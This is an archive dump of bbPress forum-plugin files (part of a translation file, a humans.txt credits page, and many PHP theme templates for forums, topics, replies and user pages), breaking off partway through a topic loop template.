msgctxt "Pending Status"
msgid "Unapprove"
msgstr ""

#: includes/replies/template.php:2564
msgctxt "Default reply to dropdown text"
msgid "None"
msgstr ""

#: includes/topics/functions.php:1857 includes/topics/template.php:2581
msgctxt "Open the topic"
msgid "Open"
msgstr ""

#: includes/topics/functions.php:1858
msgctxt "Close the topic"
msgid "Closed"
msgstr ""

#: includes/topics/template.php:2580
msgctxt "Close the topic"
msgid "Close"
msgstr ""

#: includes/topics/functions.php:1859
msgctxt "Spam the topic"
msgid "Spam"
msgstr ""

#: includes/topics/functions.php:1860
msgctxt "Trash the topic"
msgid "Trash"
msgstr ""

#: includes/topics/functions.php:1861
msgctxt "Unapprove the topic"
msgid "Pending"
msgstr ""

#: includes/topics/template.php:2635
msgctxt "Unapprove the topic"
msgid "Unapprove"
msgstr ""

#: includes/topics/functions.php:1878
msgctxt "Unstick a topic"
msgid "Normal"
msgstr ""

#: includes/topics/functions.php:1879
msgctxt "Make topic sticky"
msgid "Sticky"
msgstr ""

#: includes/topics/functions.php:1880
msgctxt "Make topic super sticky"
msgid "Super Sticky"
msgstr ""

#: includes/topics/template.php:2634
msgctxt "Approve the topic"
msgid "Approve"
msgstr ""

#: includes/users/template.php:1414
msgctxt "Dismiss pending user email address change"
msgid "Cancel"
msgstr ""humans.txt000066600000003060151771460300006607 0ustar00                ..=OO$,
            ~OO=. . . . .Z88
        .78..  .,OOOOOOO    .7O
       IO.  7OOOOOOOOOOOOOOO.   8..
      O. .OOOOOOOOOOOOOOOOOOOOO   O.
    7O  OOOOOOOOOOOOOOOOOOOOOOOO8  O.
   ,O.      OOOOOOO..     OOOOOOOO. O,
  IO  OO    OOOOOOOOO.   OOOOOOOOOO..O
 .O .8OO    OOOOOOOOO.   OOOOOOOOOOO  O
 O  OOOO   8OOOOOOOOO.   OOOOOOOOOOOZ ,O
 O .OOO.  .OOOOOOOOOO   OOOOOOOOOOOOO .8
.Z 7OOO   .OOOOOOOOO   .OOOOOOOOOOOOO  8.
.O OOOO.  OOO~..ZOOO.  .OOO. +OOOOOOO: O.
.O OOO.     .OI.  .$   Z..7O.  .OOOOO~ O.
.Z $OO   .ZOOOOOO     ..OOOOOO   OOOO  O.
 O  O7   OOOOOOOO     .OOOOOOO   IOOO  O
 O  8   .OOOOOOOO     OOOOOOOO   OOOZ .O
  8     .OOOOOOOO     OOOOOOOO   OOO .O.
  ?O    OOOOOOOO      OOOOOOO.  .OO..O.
   O+   OOOOOOO      +OOOOOO? ..OO  O,
    78   OOOOI .,O8   OOOO8. .OO8 .O
      O.  . . OOOOOO7..  ..OOOO  .8
      .?O  .7OOOOOOOOOOOOOOO.. .8.
         78    .,OOOOOOO.    7O..
            :OO+.       .ZO8.
                ..=OO$,

    We are the humans behind bbPress

/* TEAM */
Name: Matt Mullenweg
Title: Founding Developer
Twitter: photomatt
Favorite Food: BBQ

Name: John James Jacoby
Title: Lead Developer
Twitter: jjj
Favorite Food: Truffle Lasagna

Name: Jennifer M. Dodd
Title: Core Contributor
Twitter: jmdodd

Name: Stephen Edgar
Title: Core Contributor
Twitter: netweb
Favorite Food: Tacos 🌮

Name: Sergey Biryukov
Title: Core Contributor
Twitter: sergeybiryukov

/* THANKS */
Mike Adams, Gautam Gupta, Ben L, Justin Tadlock, Pippin Williamson, cnorris23, anointed, andy, nacin

/* META */
Updated: 2017/09/09
See: http://humanstxt.org/
templates/index.php000066600000000222151771460300010366 0ustar00<?php

/**
 * Do not put custom themes here. They will be deleted on bbPress updates.
 *
 * Keep custom bbPress themes in /wp-content/themes/
 */
templates/default/extras/page-topics-no-replies.php000066600000002432151771460300016504 0ustar00<?php

/**
 * Template Name: bbPress - Topics (No Replies)
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="topics-front" class="bbp-topics-front">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<div id="bbpress-forums" class="bbpress-wrapper">

					<?php bbp_breadcrumb(); ?>

					<?php bbp_set_query_name( 'bbp_no_replies' ); ?>

					<?php if ( bbp_has_topics( array( 'meta_key' => '_bbp_reply_count', 'meta_value' => '1', 'meta_type' => 'NUMERIC', 'meta_compare' => '<', 'orderby' => 'date', 'show_stickies' => false ) ) ) : ?>

						<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

						<?php bbp_get_template_part( 'loop',       'topics'    ); ?>

						<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

					<?php else : ?>

						<?php bbp_get_template_part( 'feedback',   'no-topics' ); ?>

					<?php endif; ?>

					<?php bbp_reset_query_name(); ?>

				</div>
			</div>
		</div><!-- #topics-front -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-forum.php000066600000001476151771460300014634 0ustar00<?php

/**
 * Single Forum
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<?php if ( bbp_user_can_view_forum() ) : ?>

			<div id="forum-<?php bbp_forum_id(); ?>" class="bbp-forum-content">
				<h1 class="entry-title"><?php bbp_forum_title(); ?></h1>
				<div class="entry-content">

					<?php bbp_get_template_part( 'content', 'single-forum' ); ?>

				</div>
			</div><!-- #forum-<?php bbp_forum_id(); ?> -->

		<?php else : // Forum exists, user no access ?>

			<?php bbp_get_template_part( 'feedback', 'no-access' ); ?>

		<?php endif; ?>

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-reply-edit.php000066600000001052151771460300015550 0ustar00<?php

/**
 * Edit handler for replies
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-edit-page" class="bbp-edit-page">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php bbp_get_template_part( 'form', 'reply' ); ?>

			</div>
		</div><!-- #bbp-edit-page -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-front-topics.php000066600000001223151771460300015554 0ustar00<?php

/**
 * Template Name: bbPress - Topics (Newest)
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="topics-front" class="bbp-topics-front">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<?php bbp_get_template_part( 'content', 'archive-topic' ); ?>

			</div>
		</div><!-- #topics-front -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-create-topic.php000066600000001204151771460300015503 0ustar00<?php

/**
 * Template Name: bbPress - Create Topic
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-new-topic" class="bbp-new-topic">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<?php bbp_get_template_part( 'form', 'topic' ); ?>

			</div>
		</div><!-- #bbp-new-topic -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/archive-forum.php000066600000001045151771460300014764 0ustar00<?php

/**
 * bbPress - Forum Archive
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<div id="forum-front" class="bbp-forum-front">
		<h1 class="entry-title"><?php bbp_forum_archive_title(); ?></h1>
		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'archive-forum' ); ?>

		</div>
	</div><!-- #forum-front -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-user-register.php000066600000001461151771460300015731 0ustar00<?php

/**
 * Template Name: bbPress - User Register
 *
 * @package bbPress
 * @subpackage Theme
 */

// No logged in users
bbp_logged_in_redirect();

// Begin Template
get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-register" class="bbp-register">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<div id="bbpress-forums" class="bbpress-wrapper">

					<?php bbp_breadcrumb(); ?>

					<?php bbp_get_template_part( 'form', 'user-register' ); ?>

				</div>
			</div>
		</div><!-- #bbp-register -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-topic-edit.php000066600000001051151771460300015532 0ustar00<?php

/**
 * Edit handler for topics
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-edit-page" class="bbp-edit-page">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php bbp_get_template_part( 'form', 'topic' ); ?>

			</div>
		</div><!-- #bbp-edit-page -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/taxonomy-topic-tag.php000066600000001133151771460300015756 0ustar00<?php

/**
 * Topic Tag
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<div id="topic-tag" class="bbp-topic-tag">
		<h1 class="entry-title"><?php printf( esc_html__( 'Topic Tag: %s', 'bbpress' ), '<span>' . bbp_get_topic_tag_name() . '</span>' ); ?></h1>
		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'archive-topic' ); ?>

		</div>
	</div><!-- #topic-tag -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-reply-move.php000066600000001126151771460300015573 0ustar00<?php

/**
 * Move reply page
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-edit-page" class="bbp-edit-page">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php bbp_get_template_part( 'form', 'reply-move' ); ?>

			</div>
		</div><!-- #bbp-edit-page -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-user-edit.php000066600000001003151771460300015367 0ustar00<?php

/**
 * bbPress User Profile Edit
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<div id="bbp-user-<?php bbp_current_user_id(); ?>" class="bbp-single-user">
		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'single-user' ); ?>

		</div><!-- .entry-content -->
	</div><!-- #bbp-user-<?php bbp_current_user_id(); ?> -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-forum-statistics.php000066600000002577151771460300016462 0ustar00<?php

/**
 * Template Name: bbPress - Statistics
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-statistics" class="bbp-statistics">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php get_the_content() ? the_content() : wpautop( esc_html__( 'Here are the statistics and popular topics of our forums.', 'bbpress' ) ); ?>

				<div id="bbpress-forums" class="bbpress-wrapper">

					<?php bbp_get_template_part( 'content', 'statistics' ); ?>

					<?php do_action( 'bbp_before_popular_topics' ); ?>

					<?php bbp_set_query_name( 'bbp_popular_topics' ); ?>

					<?php if ( bbp_view_query( 'popular' ) ) : ?>

						<h2 class="entry-title"><?php esc_html_e( 'Popular Topics', 'bbpress' ); ?></h2>

						<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

						<?php bbp_get_template_part( 'loop',       'topics' ); ?>

						<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

					<?php endif; ?>

					<?php bbp_reset_query_name(); ?>

					<?php do_action( 'bbp_after_popular_topics' ); ?>

				</div>
			</div>
		</div><!-- #bbp-statistics -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>

<?php get_footer();
templates/default/extras/single-forum-edit.php000066600000001051151771460300015544 0ustar00<?php

/**
 * Edit handler for forums
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-edit-page" class="bbp-edit-page">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php bbp_get_template_part( 'form', 'forum' ); ?>

			</div>
		</div><!-- #bbp-edit-page -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-topic-tags.php000066600000001750151771460300015204 0ustar00<?php

/**
 * Template Name: bbPress - Topic Tags
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-topic-tags" class="bbp-topic-tags">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php get_the_content() ? the_content() : wpautop( esc_html__( 'This is a collection of tags that are currently popular on our forums.', 'bbpress' ) ); ?>

				<div id="bbpress-forums" class="bbpress-wrapper">

					<?php bbp_breadcrumb(); ?>

					<div id="bbp-topic-hot-tags">

						<?php wp_tag_cloud( array( 'smallest' => 9, 'largest' => 38, 'number' => 80, 'taxonomy' => bbp_get_topic_tag_tax_id() ) ); ?>

					</div>
				</div>
			</div>
		</div><!-- #bbp-topic-tags -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-front-forums.php000066600000001217151771460300015571 0ustar00<?php

/**
 * Template Name: bbPress - Forums (Index)
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="forum-front" class="bbp-forum-front">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<?php bbp_get_template_part( 'content', 'archive-forum' ); ?>

			</div>
		</div><!-- #forum-front -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-reply.php000066600000001672151771460300014635 0ustar00<?php

/**
 * Single Reply
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php if ( bbp_user_can_view_forum( array( 'forum_id' => bbp_get_reply_forum_id() ) ) ) : ?>

		<?php while ( have_posts() ) : the_post(); ?>

			<div id="bbp-reply-wrapper-<?php bbp_reply_id(); ?>" class="bbp-reply-wrapper">
				<h1 class="entry-title"><?php bbp_reply_title(); ?></h1>
				<div class="entry-content">

					<?php bbp_get_template_part( 'content', 'single-reply' ); ?>

				</div><!-- .entry-content -->
			</div><!-- #bbp-reply-wrapper-<?php bbp_reply_id(); ?> -->

		<?php endwhile; ?>

	<?php elseif ( bbp_is_forum_private( bbp_get_reply_forum_id(), false ) ) : ?>

		<?php bbp_get_template_part( 'feedback', 'no-access' ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-user-login.php000066600000001442151771460300015214 0ustar00<?php

/**
 * Template Name: bbPress - User Login
 *
 * @package bbPress
 * @subpackage Theme
 */

// No logged in users
bbp_logged_in_redirect();

// Begin Template
get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-login" class="bbp-login">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<div id="bbpress-forums" class="bbpress-wrapper">

					<?php bbp_breadcrumb(); ?>

					<?php bbp_get_template_part( 'form', 'user-login' ); ?>

				</div>
			</div>
		</div><!-- #bbp-login -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/archive-topic.php000066600000001047151771460300014754 0ustar00<?php

/**
 * bbPress - Topic Archive
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<div id="topic-front" class="bbp-topics-front">
		<h1 class="entry-title"><?php bbp_topic_archive_title(); ?></h1>
		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'archive-topic' ); ?>

		</div>
	</div><!-- #topics-front -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-user.php000066600000000765151771460300014462 0ustar00<?php

/**
 * Single User
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<div id="bbp-user-<?php bbp_current_user_id(); ?>" class="bbp-single-user">
		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'single-user' ); ?>

		</div><!-- .entry-content -->
	</div><!-- #bbp-user-<?php bbp_current_user_id(); ?> -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-view.php000066600000001061151771460300014444 0ustar00<?php

/**
 * Single View
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<div id="bbp-view-<?php bbp_view_id(); ?>" class="bbp-view">
		<h1 class="entry-title"><?php bbp_view_title(); ?></h1>
		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'single-view' ); ?>

		</div>
	</div><!-- #bbp-view-<?php bbp_view_id(); ?> -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-topic-merge.php000066600000001130151771460300015702 0ustar00<?php

/**
 * Merge topic page
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-edit-page" class="bbp-edit-page">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php bbp_get_template_part( 'form', 'topic-merge' ); ?>

			</div>
		</div><!-- #bbp-edit-page -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/taxonomy-topic-tag-edit.php000066600000001142151771460300016701 0ustar00<?php

/**
 * Topic Tag Edit
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<div id="topic-tag" class="bbp-topic-tag">
		<h1 class="entry-title"><?php printf( esc_html__( 'Topic Tag: %s', 'bbpress' ), '<span>' . bbp_get_topic_tag_name() . '</span>' ); ?></h1>

		<div class="entry-content">

			<?php bbp_get_template_part( 'content', 'topic-tag-edit' ); ?>

		</div>
	</div><!-- #topic-tag -->

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/page-user-lost-pass.php000066600000001472151771460300016034 0ustar00<?php

/**
 * Template Name: bbPress - User Lost Password
 *
 * @package bbPress
 * @subpackage Theme
 */

// No logged in users
bbp_logged_in_redirect();

// Begin Template
get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-lost-pass" class="bbp-lost-pass">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php the_content(); ?>

				<div id="bbpress-forums" class="bbpress-wrapper">

					<?php bbp_breadcrumb(); ?>

					<?php bbp_get_template_part( 'form', 'user-lost-pass' ); ?>

				</div>
			</div>
		</div><!-- #bbp-lost-pass -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-topic.php000066600000001643151771460300014616 0ustar00<?php

/**
 * Single Topic
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php if ( bbp_user_can_view_forum( array( 'forum_id' => bbp_get_topic_forum_id() ) ) ) : ?>

		<?php while ( have_posts() ) : the_post(); ?>

			<div id="bbp-topic-wrapper-<?php bbp_topic_id(); ?>" class="bbp-topic-wrapper">
				<h1 class="entry-title"><?php bbp_topic_title(); ?></h1>
				<div class="entry-content">

					<?php bbp_get_template_part( 'content', 'single-topic' ); ?>

				</div>
			</div><!-- #bbp-topic-wrapper-<?php bbp_topic_id(); ?> -->

		<?php endwhile; ?>

	<?php elseif ( bbp_is_forum_private( bbp_get_topic_forum_id(), false ) ) : ?>

		<?php bbp_get_template_part( 'feedback', 'no-access' ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/extras/single-topic-split.php000066600000001130151771460300015736 0ustar00<?php

/**
 * Split topic page
 *
 * @package bbPress
 * @subpackage Theme
 */

get_header(); ?>

	<?php do_action( 'bbp_before_main_content' ); ?>

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php while ( have_posts() ) : the_post(); ?>

		<div id="bbp-edit-page" class="bbp-edit-page">
			<h1 class="entry-title"><?php the_title(); ?></h1>
			<div class="entry-content">

				<?php bbp_get_template_part( 'form', 'topic-split' ); ?>

			</div>
		</div><!-- #bbp-edit-page -->

	<?php endwhile; ?>

	<?php do_action( 'bbp_after_main_content' ); ?>

<?php get_sidebar(); ?>
<?php get_footer();
templates/default/bbpress/pagination-search.php000066600000000733151771460310015747 0ustar00<?php

/**
 * Pagination for pages of search results 
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_pagination_loop' ); ?>

<div class="bbp-pagination">
	<div class="bbp-pagination-count"><?php bbp_search_pagination_count(); ?></div>
	<div class="bbp-pagination-links"><?php bbp_search_pagination_links(); ?></div>
</div>

<?php do_action( 'bbp_template_after_pagination_loop' );
templates/default/bbpress/content-single-topic-lead.php000066600000004527151771460310017330 0ustar00<?php

/**
 * Single Topic Lead Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_lead_topic' ); ?>

<ul id="bbp-topic-<?php bbp_topic_id(); ?>-lead" class="bbp-lead-topic">

	<li class="bbp-header">

		<div class="bbp-topic-author"><?php esc_html_e( 'Creator',  'bbpress' ); ?></div><!-- .bbp-topic-author -->

		<div class="bbp-topic-content">

			<?php esc_html_e( 'Topic', 'bbpress' ); ?>

		</div><!-- .bbp-topic-content -->

	</li><!-- .bbp-header -->

	<li class="bbp-body">

		<div class="bbp-topic-header">

			<div class="bbp-meta">

				<span class="bbp-topic-post-date"><?php bbp_topic_post_date(); ?></span>

				<a href="<?php bbp_topic_permalink(); ?>" class="bbp-topic-permalink">#<?php bbp_topic_id(); ?></a>

				<?php do_action( 'bbp_theme_before_topic_admin_links' ); ?>

				<?php bbp_topic_admin_links(); ?>

				<?php do_action( 'bbp_theme_after_topic_admin_links' ); ?>

			</div><!-- .bbp-meta -->

		</div><!-- .bbp-topic-header -->

		<div id="post-<?php bbp_topic_id(); ?>" <?php bbp_topic_class(); ?>>

			<div class="bbp-topic-author">

				<?php do_action( 'bbp_theme_before_topic_author_details' ); ?>

				<?php bbp_topic_author_link( array( 'show_role' => true ) ); ?>

				<?php if ( current_user_can( 'moderate', bbp_get_reply_id() ) ) : ?>

					<?php do_action( 'bbp_theme_before_topic_author_admin_details' ); ?>

					<div class="bbp-topic-ip"><?php bbp_author_ip( bbp_get_topic_id() ); ?></div>

					<?php do_action( 'bbp_theme_after_topic_author_admin_details' ); ?>

				<?php endif; ?>

				<?php do_action( 'bbp_theme_after_topic_author_details' ); ?>

			</div><!-- .bbp-topic-author -->

			<div class="bbp-topic-content">

				<?php do_action( 'bbp_theme_before_topic_content' ); ?>

				<?php bbp_topic_content(); ?>

				<?php do_action( 'bbp_theme_after_topic_content' ); ?>

			</div><!-- .bbp-topic-content -->

		</div><!-- #post-<?php bbp_topic_id(); ?> -->

	</li><!-- .bbp-body -->

	<li class="bbp-footer">

		<div class="bbp-topic-author"><?php esc_html_e( 'Creator',  'bbpress' ); ?></div>

		<div class="bbp-topic-content">

			<?php esc_html_e( 'Topic', 'bbpress' ); ?>

		</div><!-- .bbp-topic-content -->

	</li>

</ul><!-- #bbp-topic-<?php bbp_topic_id(); ?>-lead -->

<?php do_action( 'bbp_template_after_lead_topic' );
templates/default/bbpress/feedback-no-replies.php000066600000000446151771460310016153 0ustar00<?php

/**
 * No Replies Feedback Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-template-notice">
	<ul>
		<li><?php esc_html_e( 'Oh, bother! No replies were found here.', 'bbpress' ); ?></li>
	</ul>
</div>
templates/default/bbpress/user-engagements.php000066600000001554151771460310015626 0ustar00<?php

/**
 * User Engagements
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_engagements' ); ?>

<div id="bbp-user-engagements" class="bbp-user-engagements">

	<?php bbp_get_template_part( 'form', 'topic-search' ); ?>

	<h2 class="entry-title"><?php esc_html_e( 'Topics Engaged In', 'bbpress' ); ?></h2>
	<div class="bbp-user-section">

		<?php if ( bbp_get_user_engagements() ) : ?>

			<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

			<?php bbp_get_template_part( 'loop',       'topics' ); ?>

			<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

		<?php else : ?>

			<?php bbp_get_template_part( 'feedback', 'no-topics' ); ?>

		<?php endif; ?>

	</div>
</div><!-- #bbp-user-engagements -->

<?php do_action( 'bbp_template_after_user_engagements' );
templates/default/bbpress/loop-single-topic.php000066600000005742151771460310015724 0ustar00<?php

/**
 * Topics Loop - Single
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<ul id="bbp-topic-<?php bbp_topic_id(); ?>" <?php bbp_topic_class(); ?>>
	<li class="bbp-topic-title">

		<?php if ( bbp_is_user_home() ) : ?>

			<?php if ( bbp_is_favorites() ) : ?>

				<span class="bbp-row-actions">

					<?php do_action( 'bbp_theme_before_topic_favorites_action' ); ?>

					<?php bbp_topic_favorite_link( array( 'before' => '', 'favorite' => '+', 'favorited' => '&times;' ) ); ?>

					<?php do_action( 'bbp_theme_after_topic_favorites_action' ); ?>

				</span>

			<?php elseif ( bbp_is_subscriptions() ) : ?>

				<span class="bbp-row-actions">

					<?php do_action( 'bbp_theme_before_topic_subscription_action' ); ?>

					<?php bbp_topic_subscription_link( array( 'before' => '', 'subscribe' => '+', 'unsubscribe' => '&times;' ) ); ?>

					<?php do_action( 'bbp_theme_after_topic_subscription_action' ); ?>

				</span>

			<?php endif; ?>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_before_topic_title' ); ?>

		<a class="bbp-topic-permalink" href="<?php bbp_topic_permalink(); ?>"><?php bbp_topic_title(); ?></a>

		<?php do_action( 'bbp_theme_after_topic_title' ); ?>

		<?php bbp_topic_pagination(); ?>

		<?php do_action( 'bbp_theme_before_topic_meta' ); ?>

		<p class="bbp-topic-meta">

			<?php do_action( 'bbp_theme_before_topic_started_by' ); ?>

			<span class="bbp-topic-started-by"><?php printf( esc_html__( 'Started by: %1$s', 'bbpress' ), bbp_get_topic_author_link( array( 'size' => '14' ) ) ); ?></span>

